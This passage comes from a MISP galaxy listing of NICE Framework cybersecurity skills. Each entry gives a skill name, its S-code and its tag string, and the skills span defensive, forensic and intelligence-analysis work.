Skill in applying host access controls - S0552

Skill in applying host access controls

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying host access controls - S0552"*

Skill in applying network access controls - S0553

Skill in applying network access controls

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying network access controls - S0553"*

Skill in tuning network sensors - S0592

Skill in tuning network sensors

The tag is: *misp-galaxy:nice-framework-skills="Skill in tuning network sensors - S0592"*

Skill in applying hardening techniques - S0643

Skill in applying hardening techniques

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying hardening techniques - S0643"*

Skill in troubleshooting cyber defense infrastructure anomalies - S0645

Skill in troubleshooting cyber defense infrastructure anomalies

The tag is: *misp-galaxy:nice-framework-skills="Skill in troubleshooting cyber defense infrastructure anomalies - S0645"*

Skill in configuring hardware - S0831

Skill in configuring hardware

The tag is: *misp-galaxy:nice-framework-skills="Skill in configuring hardware - S0831"*

Skill in testing hardware - S0898

Skill in testing hardware

The tag is: *misp-galaxy:nice-framework-skills="Skill in testing hardware - S0898"*

Skill in identifying anomalous activity - S0477

Skill in identifying anomalous activity

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying anomalous activity - S0477"*

Skill in performing threat modeling - S0588

Skill in performing threat modeling

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing threat modeling - S0588"*

Skill in performing behavioral analysis - S0848

Skill in performing behavioral analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing behavioral analysis - S0848"*

Skill in performing threat analysis - S0890

Skill in performing threat analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing threat analysis - S0890"*

Skill in recognizing behavioral patterns - S0896

Skill in recognizing behavioral patterns

The tag is: *misp-galaxy:nice-framework-skills="Skill in recognizing behavioral patterns - S0896"*

Skill in analyzing information from multiple sources - S0900

Skill in analyzing information from multiple sources

The tag is: *misp-galaxy:nice-framework-skills="Skill in analyzing information from multiple sources - S0900"*

Skill in building relationships remotely and in person - S0902

Skill in building relationships remotely and in person

The tag is: *misp-galaxy:nice-framework-skills="Skill in building relationships remotely and in person - S0902"*

Skill in correlating data from multiple tools - S0904

Skill in correlating data from multiple tools

The tag is: *misp-galaxy:nice-framework-skills="Skill in correlating data from multiple tools - S0904"*

Skill in determining what information may helpful to a specific audience - S0905

Skill in determining what information may helpful to a specific audience

The tag is: *misp-galaxy:nice-framework-skills="Skill in determining what information may helpful to a specific audience - S0905"*

Skill in identifying insider risk security gaps - S0906

Skill in identifying insider risk security gaps

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying insider risk security gaps - S0906"*

Skill in identifying insider threats - S0907

Skill in identifying insider threats

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying insider threats - S0907"*

Skill in determining the importance of assets - S0908

Skill in determining the importance of assets

The tag is: *misp-galaxy:nice-framework-skills="Skill in determining the importance of assets - S0908"*

Skill in integrating information from multiple sources - S0909

Skill in integrating information from multiple sources

The tag is: *misp-galaxy:nice-framework-skills="Skill in integrating information from multiple sources - S0909"*

Skill in performing cyberintelligence data analysis - S0910

Skill in performing cyberintelligence data analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing cyberintelligence data analysis - S0910"*

Skill in performing data queries - S0911

Skill in performing data queries

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing data queries - S0911"*

Skill in performing human behavioral analysis - S0912

Skill in performing human behavioral analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing human behavioral analysis - S0912"*

Skill in performing link analysis - S0913

Skill in performing link analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing link analysis - S0913"*

Skill in recognizing recurring threat incidents - S0916

Skill in recognizing recurring threat incidents

The tag is: *misp-galaxy:nice-framework-skills="Skill in recognizing recurring threat incidents - S0916"*

Skill in finding system files - S0474

Skill in finding system files

The tag is: *misp-galaxy:nice-framework-skills="Skill in finding system files - S0474"*

Skill in identifying filename extension abuse - S0476

Skill in identifying filename extension abuse

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying filename extension abuse - S0476"*

Skill in developing network infrastructure contingency and recovery plans - S0575

Skill in developing network infrastructure contingency and recovery plans

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing network infrastructure contingency and recovery plans - S0575"*

Skill in testing network infrastructure contingency and recovery plans - S0576

Skill in testing network infrastructure contingency and recovery plans

The tag is: *misp-galaxy:nice-framework-skills="Skill in testing network infrastructure contingency and recovery plans - S0576"*

Skill in preserving digital evidence integrity - S0589

Skill in preserving digital evidence integrity

The tag is: *misp-galaxy:nice-framework-skills="Skill in preserving digital evidence integrity - S0589"*

Skill in identifying forensics data in diverse media - S0603

Skill in identifying forensics data in diverse media

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying forensics data in diverse media - S0603"*

Skill in extracting forensics data in diverse media - S0604

Skill in extracting forensics data in diverse media

The tag is: *misp-galaxy:nice-framework-skills="Skill in extracting forensics data in diverse media - S0604"*

Skill in storing digital evidence - S0605

Skill in storing digital evidence

The tag is: *misp-galaxy:nice-framework-skills="Skill in storing digital evidence - S0605"*

Skill in manipulating operating system components - S0606

Skill in manipulating operating system components

The tag is: *misp-galaxy:nice-framework-skills="Skill in manipulating operating system components - S0606"*

Skill in collecting digital evidence - S0607

Skill in collecting digital evidence

The tag is: *misp-galaxy:nice-framework-skills="Skill in collecting digital evidence - S0607"*

Skill in processing digital evidence - S0608

Skill in processing digital evidence

The tag is: *misp-galaxy:nice-framework-skills="Skill in processing digital evidence - S0608"*

Skill in transporting digital evidence - S0609

Skill in transporting digital evidence

The tag is: *misp-galaxy:nice-framework-skills="Skill in transporting digital evidence - S0609"*

Skill in disassembling Personal Computers (PCs) - S0611

Skill in disassembling Personal Computers (PCs)

The tag is: *misp-galaxy:nice-framework-skills="Skill in disassembling Personal Computers (PCs) - S0611"*

Skill in performing digital forensics analysis - S0612

Skill in performing digital forensics analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing digital forensics analysis - S0612"*

Skill in performing binary analysis - S0621

Skill in performing binary analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing binary analysis - S0621"*

Skill in implementing one-way hash functions - S0622

Skill in implementing one-way hash functions

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing one-way hash functions - S0622"*

Skill in performing source code analysis - S0623

Skill in performing source code analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing source code analysis - S0623"*

Skill in performing volatile data analysis - S0624

Skill in performing volatile data analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing volatile data analysis - S0624"*

Skill in interpreting debugger results - S0625

Skill in interpreting debugger results

The tag is: *misp-galaxy:nice-framework-skills="Skill in interpreting debugger results - S0625"*

Skill in performing bit-level analysis - S0652

Skill in performing bit-level analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing bit-level analysis - S0652"*

Skill in creating digital evidence copies - S0653

Skill in creating digital evidence copies

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating digital evidence copies - S0653"*

Skill in implementing network infrastructure contingency and recovery plans - S0671

Skill in implementing network infrastructure contingency and recovery plans

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing network infrastructure contingency and recovery plans - S0671"*

Skill in administering operating systems - S0678

Skill in administering operating systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in administering operating systems - S0678"*

Skill in collaborating with internal and external stakeholders - S0821

Skill in collaborating with internal and external stakeholders

The tag is: *misp-galaxy:nice-framework-skills="Skill in collaborating with internal and external stakeholders - S0821"*

Skill in developing technical reports - S0834

Skill in developing technical reports

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing technical reports - S0834"*

Skill in performing digital evidence analysis - S0856

Skill in performing digital evidence analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing digital evidence analysis - S0856"*

Skill in performing file system forensic analysis - S0860

Skill in performing file system forensic analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing file system forensic analysis - S0860"*

Skill in performing static analysis - S0882

Skill in performing static analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing static analysis - S0882"*

Skill in performing static malware analysis - S0884

Skill in performing static malware analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing static malware analysis - S0884"*

Skill in recreating network topologies - S0490

Skill in recreating network topologies

The tag is: *misp-galaxy:nice-framework-skills="Skill in recreating network topologies - S0490"*

Skill in detecting host- and network-based intrusions - S0572

Skill in detecting host- and network-based intrusions

The tag is: *misp-galaxy:nice-framework-skills="Skill in detecting host- and network-based intrusions - S0572"*

Skill in handling incidents - S0593

Skill in handling incidents

The tag is: *misp-galaxy:nice-framework-skills="Skill in handling incidents - S0593"*

Skill in categorizing types of vulnerabilities - S0614

Skill in categorizing types of vulnerabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in categorizing types of vulnerabilities - S0614"*

Skill in reading signatures - S0627

Skill in reading signatures

The tag is: *misp-galaxy:nice-framework-skills="Skill in reading signatures - S0627"*

Skill in performing malware analysis - S0651

Skill in performing malware analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing malware analysis - S0651"*

Skill in assessing security controls - S0667

Skill in assessing security controls

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing security controls - S0667"*

Skill in interpreting traceroute results - S0722

Skill in interpreting traceroute results

The tag is: *misp-galaxy:nice-framework-skills="Skill in interpreting traceroute results - S0722"*

Skill in utilizing cyber defense service provider information - S0809

Skill in utilizing cyber defense service provider information

The tag is: *misp-galaxy:nice-framework-skills="Skill in utilizing cyber defense service provider information - S0809"*

Skill in identifying anomalous activities - S0838

Skill in identifying anomalous activities

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying anomalous activities - S0838"*

Skill in identifying exploited system weaknesses - S0839

Skill in identifying exploited system weaknesses

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying exploited system weaknesses - S0839"*

Skill in identifying misuse activities - S0840

Skill in identifying misuse activities

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying misuse activities - S0840"*

Skill in monitoring system activity - S0846

Skill in monitoring system activity

The tag is: *misp-galaxy:nice-framework-skills="Skill in monitoring system activity - S0846"*

Skill in performing dynamic analysis - S0857

Skill in performing dynamic analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing dynamic analysis - S0857"*

Skill in performing event correlation - S0859

Skill in performing event correlation

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing event correlation - S0859"*

Skill in performing incident analysis - S0863

Skill in performing incident analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing incident analysis - S0863"*

Skill in performing malicious activity analysis - S0867

Skill in performing malicious activity analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing malicious activity analysis - S0867"*

Skill in performing network data flow analysis - S0872

Skill in performing network data flow analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing network data flow analysis - S0872"*

Skill in performing network trafffic analysis - S0873

Skill in performing network trafffic analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing network trafffic analysis - S0873"*

Skill in performing network traffic packet analysis - S0875

Skill in performing network traffic packet analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing network traffic packet analysis - S0875"*

Skill in performing system activity analysis - S0885

Skill in performing system activity analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing system activity analysis - S0885"*

Skill in performing trend analysis - S0892

Skill in performing trend analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing trend analysis - S0892"*

Skill in performing network analysis on targets - S0177

Skill in performing network analysis on targets

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing network analysis on targets - S0177"*

Skill in integrating information - S0521

Skill in integrating information

The tag is: *misp-galaxy:nice-framework-skills="Skill in integrating information - S0521"*

Skill in summarizing information - S0522

Skill in summarizing information

The tag is: *misp-galaxy:nice-framework-skills="Skill in summarizing information - S0522"*

Skill in applying target templates - S0536

Skill in applying target templates

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying target templates - S0536"*

Skill in performing network data analysis - S0688

Skill in performing network data analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing network data analysis - S0688"*

Skill in analyzing social networks - S0697

Skill in analyzing social networks

The tag is: *misp-galaxy:nice-framework-skills="Skill in analyzing social networks - S0697"*

Skill in identifying target communications networks - S0716

Skill in identifying target communications networks

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying target communications networks - S0716"*

Skill in performing data normalization - S0726

Skill in performing data normalization

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing data normalization - S0726"*

Skill in identifying technical information - S0734

Skill in identifying technical information

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying technical information - S0734"*

Skill in reconstructing target networks - S0753

Skill in reconstructing target networks

The tag is: *misp-galaxy:nice-framework-skills="Skill in reconstructing target networks - S0753"*

Skill in performing network analysis - S0871

Skill in performing network analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing network analysis - S0871"*

Skill in performing target communications analysis - S0888

Skill in performing target communications analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing target communications analysis - S0888"*

Skill in developing information requirements - S0375

Skill in developing information requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing information requirements - S0375"*

Skill in developing target lists - S0534

Skill in developing target lists

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing target lists - S0534"*

Skill in conducting deep web research - S0696

Skill in conducting deep web research

The tag is: *misp-galaxy:nice-framework-skills="Skill in conducting deep web research - S0696"*

Skill in performing fusion analysis - S0714

Skill in performing fusion analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing fusion analysis - S0714"*

Skill in creating target materials - S0740

Skill in creating target materials

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating target materials - S0740"*

Skill in applying geospatial resources - S0750

Skill in applying geospatial resources

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying geospatial resources - S0750"*

Skill in fulfilling information requests - S0780

Skill in fulfilling information requests

The tag is: *misp-galaxy:nice-framework-skills="Skill in fulfilling information requests - S0780"*

Skill in assessing partner intelligence processes - S0802

Skill in assessing partner intelligence processes

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing partner intelligence processes - S0802"*

Skill in performing log file analysis - S0866

Skill in performing log file analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing log file analysis - S0866"*

Skill in interfacing with customers - S0111

Skill in interfacing with customers

The tag is: *misp-galaxy:nice-framework-skills="Skill in interfacing with customers - S0111"*

Skill in conducting non-attributable research - S0194

Skill in conducting non-attributable research

The tag is: *misp-galaxy:nice-framework-skills="Skill in conducting non-attributable research - S0194"*

Skill in mitigating cognitive biases - S0443

Skill in mitigating cognitive biases

The tag is: *misp-galaxy:nice-framework-skills="Skill in mitigating cognitive biases - S0443"*

Skill in mitigating deception in reporting and analysis - S0444

Skill in mitigating deception in reporting and analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in mitigating deception in reporting and analysis - S0444"*

Skill in mimicking threat actors - S0446

Skill in mimicking threat actors

The tag is: *misp-galaxy:nice-framework-skills="Skill in mimicking threat actors - S0446"*

Skill in performing operational environment analysis - S0494

Skill in performing operational environment analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing operational environment analysis - S0494"*

Skill in establishing priorities - S0511

Skill in establishing priorities

The tag is: *misp-galaxy:nice-framework-skills="Skill in establishing priorities - S0511"*

Skill in preparing operational environments - S0514

Skill in preparing operational environments

The tag is: *misp-galaxy:nice-framework-skills="Skill in preparing operational environments - S0514"*

Skill in performing threat emulation tactics - S0516

Skill in performing threat emulation tactics

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing threat emulation tactics - S0516"*

Skill in anticipating threats - S0517

Skill in anticipating threats

The tag is: *misp-galaxy:nice-framework-skills="Skill in anticipating threats - S0517"*

Skill in performing threat factor analysis - S0535

Skill in performing threat factor analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing threat factor analysis - S0535"*

Skill in developing position qualification requirements - S0633

Skill in developing position qualification requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing position qualification requirements - S0633"*

Skill in assessing effects generated during and after cyber operations - S0693

Skill in assessing effects generated during and after cyber operations

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing effects generated during and after cyber operations - S0693"*

Skill in defining an operational environment - S0702

Skill in defining an operational environment

The tag is: *misp-galaxy:nice-framework-skills="Skill in defining an operational environment - S0702"*

Skill in identifying cybersecurity threats - S0718

Skill in identifying cybersecurity threats

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying cybersecurity threats - S0718"*

Skill in identifying intelligence gaps - S0719

Skill in identifying intelligence gaps

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying intelligence gaps - S0719"*

Skill in producing after-action reports - S0731

Skill in producing after-action reports

The tag is: *misp-galaxy:nice-framework-skills="Skill in producing after-action reports - S0731"*

Skill in analyzing intelligence products - S0739

Skill in analyzing intelligence products

The tag is: *misp-galaxy:nice-framework-skills="Skill in analyzing intelligence products - S0739"*

Skill in querying data - S0748

Skill in querying data

The tag is: *misp-galaxy:nice-framework-skills="Skill in querying data - S0748"*

Skill in conducting open-source searches - S0751

Skill in conducting open-source searches

The tag is: *misp-galaxy:nice-framework-skills="Skill in conducting open-source searches - S0751"*

Skill in converting intelligence requirements into intelligence production tasks - S0765

Skill in converting intelligence requirements into intelligence production tasks

The tag is: *misp-galaxy:nice-framework-skills="Skill in converting intelligence requirements into intelligence production tasks - S0765"*

Skill in developing collection strategies - S0777

Skill in developing collection strategies

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing collection strategies - S0777"*

Skill in performing all-source intelligence analysis - S0847

Skill in performing all-source intelligence analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing all-source intelligence analysis - S0847"*

Skill in performing nodal analysis - S0876

Skill in performing nodal analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing nodal analysis - S0876"*

Skill in performing packet-level analysis - S0156

Skill in performing packet-level analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing packet-level analysis - S0156"*

Skill in evaluating accesses for intelligence value - S0214

Skill in evaluating accesses for intelligence value

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating accesses for intelligence value - S0214"*

Skill in performing target system analysis - S0248

Skill in performing target system analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing target system analysis - S0248"*

Skill in creating analytics - S0433

Skill in creating analytics

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating analytics - S0433"*

Skill in extrapolating from incomplete data sets - S0434

Skill in extrapolating from incomplete data sets

The tag is: *misp-galaxy:nice-framework-skills="Skill in extrapolating from incomplete data sets - S0434"*

Skill in analyzing large data sets - S0435

Skill in analyzing large data sets

The tag is: *misp-galaxy:nice-framework-skills="Skill in analyzing large data sets - S0435"*

Skill in creating target intelligence products - S0436

Skill in creating target intelligence products

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating target intelligence products - S0436"*

Skill in identifying targets of interest - S0437

Skill in identifying targets of interest

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying targets of interest - S0437"*

Skill in identifying target vulnerabilities - S0440

Skill in identifying target vulnerabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying target vulnerabilities - S0440"*

Skill in describing target vulnerabilities - S0441

Skill in describing target vulnerabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in describing target vulnerabilities - S0441"*

Skill in performing intelligence collection analysis - S0499

Skill in performing intelligence collection analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing intelligence collection analysis - S0499"*

Skill in selecting targets - S0503

Skill in selecting targets

The tag is: *misp-galaxy:nice-framework-skills="Skill in selecting targets - S0503"*

Skill in identifying vulnerabilities - S0504

Skill in identifying vulnerabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying vulnerabilities - S0504"*

Skill in performing intrusion data analysis - S0505

Skill in performing intrusion data analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing intrusion data analysis - S0505"*

Skill in collecting terminal or environment data - S0507

Skill in collecting terminal or environment data

The tag is: *misp-galaxy:nice-framework-skills="Skill in collecting terminal or environment data - S0507"*

Skill in extracting metadata - S0512

Skill in extracting metadata

The tag is: *misp-galaxy:nice-framework-skills="Skill in extracting metadata - S0512"*

Skill in developing signatures - S0566

Skill in developing signatures

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing signatures - S0566"*

Skill in deploying signatures - S0567

Skill in deploying signatures

The tag is: *misp-galaxy:nice-framework-skills="Skill in deploying signatures - S0567"*

Skill in configuring network devices - S0584

Skill in configuring network devices

The tag is: *misp-galaxy:nice-framework-skills="Skill in configuring network devices - S0584"*

Skill in installing network devices - S0585

Skill in installing network devices

The tag is: *misp-galaxy:nice-framework-skills="Skill in installing network devices - S0585"*

Skill in creating intelligence collection requirements - S0698

Skill in creating intelligence collection requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating intelligence collection requirements - S0698"*

Skill in creating plans in support of remote operations - S0699

Skill in creating plans in support of remote operations

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating plans in support of remote operations - S0699"*

Skill in depicting data on a network map - S0703

Skill in depicting data on a network map

The tag is: *misp-galaxy:nice-framework-skills="Skill in depicting data on a network map - S0703"*

Skill in performing network visualization - S0725

Skill in performing network visualization

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing network visualization - S0725"*

Skill in performing data fusion - S0727

Skill in performing data fusion

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing data fusion - S0727"*

Skill in recognizing malicious network activity in traffic - S0732

Skill in recognizing malicious network activity in traffic

The tag is: *misp-galaxy:nice-framework-skills="Skill in recognizing malicious network activity in traffic - S0732"*

Skill in interpreting malicious network activity in traffic - S0733

Skill in interpreting malicious network activity in traffic

The tag is: *misp-galaxy:nice-framework-skills="Skill in interpreting malicious network activity in traffic - S0733"*

Skill in researching software vulnerabilities - S0736

Skill in researching software vulnerabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in researching software vulnerabilities - S0736"*

Skill in researching software exploits - S0737

Skill in researching software exploits

The tag is: *misp-galaxy:nice-framework-skills="Skill in researching software exploits - S0737"*

Skill in determining relevant information - S0749

Skill in determining relevant information

The tag is: *misp-galaxy:nice-framework-skills="Skill in determining relevant information - S0749"*

Skill in evading network detection - S0752

Skill in evading network detection

The tag is: *misp-galaxy:nice-framework-skills="Skill in evading network detection - S0752"*

Skill in reconstructing a network - S0755

Skill in reconstructing a network

The tag is: *misp-galaxy:nice-framework-skills="Skill in reconstructing a network - S0755"*

Skill in performing geospatial analysis - S0862

Skill in performing geospatial analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing geospatial analysis - S0862"*

Skill in performing intercept related information (IRI) analysis - S0864

Skill in performing intercept related information (IRI) analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing intercept related information (IRI) analysis - S0864"*

Skill in performing metadata analysis - S0869

Skill in performing metadata analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing metadata analysis - S0869"*

Skill in performing network traffic analysis - S0874

Skill in performing network traffic analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing network traffic analysis - S0874"*

Skill in analyzing target communications internals and externals collected from wireless LANs - S0182

Skill in analyzing target communications internals and externals collected from wireless LANs

The tag is: *misp-galaxy:nice-framework-skills="Skill in analyzing target communications internals and externals collected from wireless LANs - S0182"*

Skill in determining the physical location of network devices - S0208

Skill in determining the physical location of network devices

The tag is: *misp-galaxy:nice-framework-skills="Skill in determining the physical location of network devices - S0208"*

Skill in extracting information from packet captures - S0221

Skill in extracting information from packet captures

The tag is: *misp-galaxy:nice-framework-skills="Skill in extracting information from packet captures - S0221"*

Skill in processing collected data for follow-on analysis - S0252

Skill in processing collected data for follow-on analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in processing collected data for follow-on analysis - S0252"*

Skill in decrypting information - S0378

Skill in decrypting information

The tag is: *misp-galaxy:nice-framework-skills="Skill in decrypting information - S0378"*

Skill in collecting network data - S0442

Skill in collecting network data

The tag is: *misp-galaxy:nice-framework-skills="Skill in collecting network data - S0442"*

Skill in developing virtual machines - S0472

Skill in developing virtual machines

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing virtual machines - S0472"*

Skill in maintaining virtual machines - S0473

Skill in maintaining virtual machines

The tag is: *misp-galaxy:nice-framework-skills="Skill in maintaining virtual machines - S0473"*

Skill in processing digital forensic data - S0491

Skill in processing digital forensic data

The tag is: *misp-galaxy:nice-framework-skills="Skill in processing digital forensic data - S0491"*

Skill in identifying customer information needs - S0506

Skill in identifying customer information needs

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying customer information needs - S0506"*

Skill in managing enterprise-wide information - S0508

Skill in managing enterprise-wide information

The tag is: *misp-galaxy:nice-framework-skills="Skill in managing enterprise-wide information - S0508"*

Skill in evaluating security products - S0509

Skill in evaluating security products

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating security products - S0509"*

Skill in detecting exploitation activities - S0519

Skill in detecting exploitation activities

The tag is: *misp-galaxy:nice-framework-skills="Skill in detecting exploitation activities - S0519"*

Skill in constructing networks - S0523

Skill in constructing networks

The tag is: *misp-galaxy:nice-framework-skills="Skill in constructing networks - S0523"*

Skill in assessing security hardware and software - S0531

Skill in assessing security hardware and software

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing security hardware and software - S0531"*

Skill in administering databases - S0586

Skill in administering databases

The tag is: *misp-galaxy:nice-framework-skills="Skill in administering databases - S0586"*

Skill in performing memory dump analysis - S0599

Skill in performing memory dump analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing memory dump analysis - S0599"*

Skill in writing scripts - S0650

Skill in writing scripts

The tag is: *misp-galaxy:nice-framework-skills="Skill in writing scripts - S0650"*

Skill in performing midpoint collection data analysis - S0690

Skill in performing midpoint collection data analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing midpoint collection data analysis - S0690"*

Skill in auditing network devices - S0694

Skill in auditing network devices

The tag is: *misp-galaxy:nice-framework-skills="Skill in auditing network devices - S0694"*

Skill in mining data - S0700

Skill in mining data

The tag is: *misp-galaxy:nice-framework-skills="Skill in mining data - S0700"*

Skill in performing data mining analysis - S0701

Skill in performing data mining analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing data mining analysis - S0701"*

Skill in performing target analysis - S0704

Skill in performing target analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing target analysis - S0704"*

Skill in installing patches - S0705

Skill in installing patches

The tag is: *misp-galaxy:nice-framework-skills="Skill in installing patches - S0705"*

Skill in identifying patch signatures - S0706

Skill in identifying patch signatures

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying patch signatures - S0706"*

Skill in evaluating metadata - S0710

Skill in evaluating metadata

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating metadata - S0710"*

Skill in interpreting metadata - S0711

Skill in interpreting metadata

The tag is: *misp-galaxy:nice-framework-skills="Skill in interpreting metadata - S0711"*

Skill in generating operation plans - S0715

Skill in generating operation plans

The tag is: *misp-galaxy:nice-framework-skills="Skill in generating operation plans - S0715"*

Skill in interpreting vulnerability scanner results - S0723

Skill in interpreting vulnerability scanner results

The tag is: *misp-galaxy:nice-framework-skills="Skill in interpreting vulnerability scanner results - S0723"*

Skill in programming - S0735

Skill in programming

The tag is: *misp-galaxy:nice-framework-skills="Skill in programming - S0735"*

Skill in performing reverse engineering of software - S0738

Skill in performing reverse engineering of software

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing reverse engineering of software - S0738"*

Skill in administering servers - S0741

Skill in administering servers

The tag is: *misp-galaxy:nice-framework-skills="Skill in administering servers - S0741"*

Skill in identifying network anomalies - S0743

Skill in identifying network anomalies

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying network anomalies - S0743"*

Skill in testing tools for implementation - S0745

Skill in testing tools for implementation

The tag is: *misp-galaxy:nice-framework-skills="Skill in testing tools for implementation - S0745"*

Skill in evaluating tools for implementation - S0746

Skill in evaluating tools for implementation

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating tools for implementation - S0746"*

Skill in establishing persistence - S0754

Skill in establishing persistence

The tag is: *misp-galaxy:nice-framework-skills="Skill in establishing persistence - S0754"*

Skill in verifying the integrity of files - S0757

Skill in verifying the integrity of files

The tag is: *misp-galaxy:nice-framework-skills="Skill in verifying the integrity of files - S0757"*

Skill in performing wireless network analysis - S0758

Skill in performing wireless network analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing wireless network analysis - S0758"*

Skill in evaluating operational environments - S0778

Skill in evaluating operational environments

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating operational environments - S0778"*

Skill in determining information requirements - S0779

Skill in determining information requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in determining information requirements - S0779"*

Skill in performing partner analysis - S0803

Skill in performing partner analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing partner analysis - S0803"*

Skill in executing computer scripts to automate tasks - S0837

Skill in executing computer scripts to automate tasks

The tag is: *misp-galaxy:nice-framework-skills="Skill in executing computer scripts to automate tasks - S0837"*

Skill in performing data analysis - S0854

Skill in performing data analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing data analysis - S0854"*

Skill in applying black-box software testing - S0616

Skill in applying black-box software testing

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying black-box software testing - S0616"*

Skill in interpreting signatures - S0617

Skill in interpreting signatures

The tag is: *misp-galaxy:nice-framework-skills="Skill in interpreting signatures - S0617"*

Skill in conducting customer interviews - S0829

Skill in conducting customer interviews

The tag is: *misp-galaxy:nice-framework-skills="Skill in conducting customer interviews - S0829"*

Skill in integrating multiple technologies - S0420

Skill in integrating multiple technologies

